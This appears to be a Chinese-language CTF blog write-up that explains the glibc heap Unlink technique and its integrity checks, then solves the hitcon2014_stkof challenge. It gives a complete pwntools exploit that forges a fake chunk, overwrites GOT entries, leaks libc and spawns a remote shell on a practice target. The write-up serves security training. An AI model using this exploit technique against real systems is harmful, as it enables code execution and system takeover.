warning
免责声明
本文所述 PWN 均属 CTF(Capture The Flag)参赛行为或赛前训练行为.笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机.
本文意在分享网络安全与 CTF 相关技术与技巧,共同提升实力.
请本文读者谨记相关法律法规与政策.读者需为自身行为承担相应的法律后果.笔者(Y7n05h)不为读者的行为承担责任.
Unlink
先复习一下什么是 Unlink.
这是 Glibc 2.23 中 Unlink 相关的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \ malloc_printerr(check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range(P->size) && \ __builtin_expect(P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || \ __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr(check_action, \ "corrupted double-linked list (not small)", P, AV); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
|
可以看到所谓 Unlink 主要就是双向链表的删除操作.但 Unlink 与普通的双向链表删除操作相比多了检查链表完整性抵御数据结构损坏与恶意攻击的 Checks.
info
INFO
下面对 Unlink 的讲解基于 x86_64 GNU/Linux 环境.
通过 Unlink 操作,能修改指向 Chunk 的指针.
假设现在有 mchunkptr pr
指向一个 chunk,且 &pr
的值已知为 t
.
1 2
| mchunkptr pr = (char *)malloc(0x30) - 0x10; mchunkptr *t = ≺
|
首先,看看代码就能发现,代码会检测 fd 和 bk 被篡改的情况.那么为了利用其中的漏洞,自然需要绕过这个 check.
1 2
| if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \ malloc_printerr(check_action, "corrupted double-linked list", P, AV); \
|
通过设置 fd 和 bk 的值就能绕过这个 check.
1 2
| pr->fd=(char *)t-(bk 在 chunk 中的偏移量); pr->bk=(char *)t-(fd 在 chunk 中的偏移量);
|
也就是
1 2
| pr->fd=(char *)t-0x18; pr->bk=(char *)t-0x10;
|
再看这里:
上面的绕过操作中,
fd
和
bk
有明确的要求,那么就能得到:
1 2
| FD = (char *)t-0x18; BK = (char *)t-0x10;
|
看到这里,将发现:
1 2
| FD->bk == *(void **)t == P ; BK->fd == *(void **)t == P ;
|
这便实现了对
__builtin_expect(FD->bk != P || BK->fd != P, 0)
的绕过.
如果读者对上述的绕过操作没能理解,那么不妨将设置的
fd
与
bk
的值带入上面的 check 试试,或许对此会有新的理解.
那么到了双向链表的删除操作,
1 2
| FD->bk = BK; BK->fd = FD;
|
用上面的结论,这里的语句实质上就是:
1 2
| *(void **)t = (char *)t-0x10; *(void **)t = (char *)t-0x18;
|
这两次修改的最终效果自然只是:
1
| *(void **)t = (char *)t-0x18;
|
回想
t
的定义:
哦,那么也就是:
这就是 Unlink 的利用的核心部分了.值得注意的是:上面的讲解中,反复出现了
P
和
pr
,或者这两者会使读者产生混淆.需要说明的是:
pr
和
P
是无关的两个指针,对 Unlink 的整个利用过程也与
P
无关,只有
pr
需要被关注.
总结一下刚才得到的结论:
1 2 3 4
| mchunkptr pr = (char *)malloc(0x30) - 0x10; mchunkptr *t = ≺ pr->fd=(char *)t-0x18; pr->bk=(char *)t-0x10;
|
然后想办法触发对
pr
的
Unlink
就能使:
那么现在阻碍对 Unlink 的利用的就是「如何触发对
pr
指向的 chunk 的 Unlink 操作呢?」
可以通过 free 一个不进入
tcache
或
fastbin
的
chunk
,触发对其相邻的
chunk
的 Unlink.下面是 Glibc 2.23 中
_int_free
的部分源码.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long)prevsize)); unlink(av, p, bck, fwd); }
if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) { unlink(av, nextchunk, bck, fwd); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0);
|
那么另一个问题是:「如何控制
pr->fd
和
pr->bk
呢?」
很简单,通过伪造一个
chunk
即可.
请看下面的例题.
hitcon2014_stkof
通过分析简单的分析能写出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * context.os = "linux" context.arch = "amd64" context.log_level = "debug" path = "/home/admin/Downloads/stkof" libc = ELF("/home/admin/pwn/buulib/libc-16.2.23-64.so") elf = ELF(path) r = remote("node4.buuoj.cn", 28436)
def i2b(n: int): return bytes(str(n), encoding="ascii")
def alloc(size: int): r.sendline(b"1") sleep(0.5) r.sendline(i2b(size)) r.recvline() r.recvuntil(b"OK\n")
def edit(idx: int, size: int, context: bytes): r.sendline(b"2") sleep(0.5) r.sendline(i2b(idx)) sleep(0.5) r.sendline(i2b(size)) sleep(0.5) r.send(context) r.recvline()
def free(idx: int): r.sendline(b"3") sleep(0.5) r.sendline(i2b(idx))
|
下面便利用 Unlink 解出这道题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Array = 0x602140
alloc(0x10)
alloc(0x30) alloc(0x80)
payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20) payload = payload.ljust(0x30, b"a") payload += flat(0x30, 0x90) edit(2, len(payload), payload) free(3) r.recvline()
|
Array[2]
是一个指向 memory 的指针,在这个位置伪造一个
fakechunk
那么
Array[2]
就成为了指向
fakechunk
的
pr
,
&Array[2] == (char *)Array + 0x10
也就是
&pr
对应上文中的
t
.
1
| payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)
|
这里的前 4 个值分别对应:fakechunk 的 prev_size、fakechunk 的 size、fakechunk 的 fd、fakechunk 的 bk.
问题来了:这里的第 5 个值 0x20 是做什么的?
下面是 Glibc 2.27 中 unlink_chunk
的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #define unlink(AV, P, BK, FD) { \ if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0)) \ malloc_printerr("corrupted size vs. prev_size"); \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \ malloc_printerr("corrupted double-linked list"); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range(chunksize_nomask(P)) && \ __builtin_expect(P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || \ __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr("corrupted double-linked list (not small)"); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
|
请关注这里新增了:
1 2
| if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0)) malloc_printerr("corrupted size vs. prev_size");
|
这里会比较 chunk 的 size 和 next_chunk 的 prev_size.
1
| payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)
|
这里最后一个值 0x20 用作 fakechunk 的 next_chunk 的 prev_size,来绕过上述的 check.
1 2
| payload = payload.ljust(0x30, b"a") payload += flat(0x30, 0x90)
|
这里,通过
ljust
将 payload 补齐 0x30 的长度后,
flat(0x30, 0x90)
分别修改
Array[3]
指向的 memory 对应的 chunk 的 prev_size 和 size.
为什么要修改这两个字段?
1
| #define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
|
1 2 3 4 5 6 7
| if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long)prevsize)); unlink(av, p, bck, fwd); }
|
_int_free
中通过 chunk 的 size 中的 PREV_INUSE
判断 prev_chunk 是否需要 Unlink.所以需要将 Array[3]
指向的 memory 对应的 chunk 的 size 中的 PREV_INUSE
取消置位.
又因为 _int_free
通过 prevsize
定位 prevchunk 所以需要修改 Array[3]
指向的 memory 对应的 chunk 的 prev_size 为 0x30 才能对 fakechunk 触发 Unlink.
注意:
在 ptmalloc 的的视角中:Array[3]
的 prev_chunk 是 fakechunk.且 fakechunk 的 nextchunk 是一个 0x20 的 chunk.
至此,题目的 Unlink 部分讲解完成.
剩余部分就是泄漏 puts
的地址,将 atoi 的 got 表中的值修改为 system 的地址.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| payload = flat(0, elf.got['free'], elf.got['puts'], elf.got['atoi']) edit(2, len(payload), payload) payload = p64(elf.plt['puts']) edit(0, len(payload), payload) free(1) puts_addr = r.recvline(keepends=False) r.recvline()
assert(len(puts_addr) == 6) puts_addr = u64(puts_addr.ljust(8, b"\x00")) log.success("puts addr success "+hex(puts_addr)) libc_base = puts_addr-libc.symbols['puts'] system_addr = libc_base+libc.symbols['system'] payload = p64(system_addr) edit(2, len(payload), payload) r.sendline(b"/bin/sh\x00") r.interactive()
|
参考资料
1. Unlink[G/OL].CTF Wiki, https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/. ↩
2:Glibc, https://www.gnu.org/software/libc.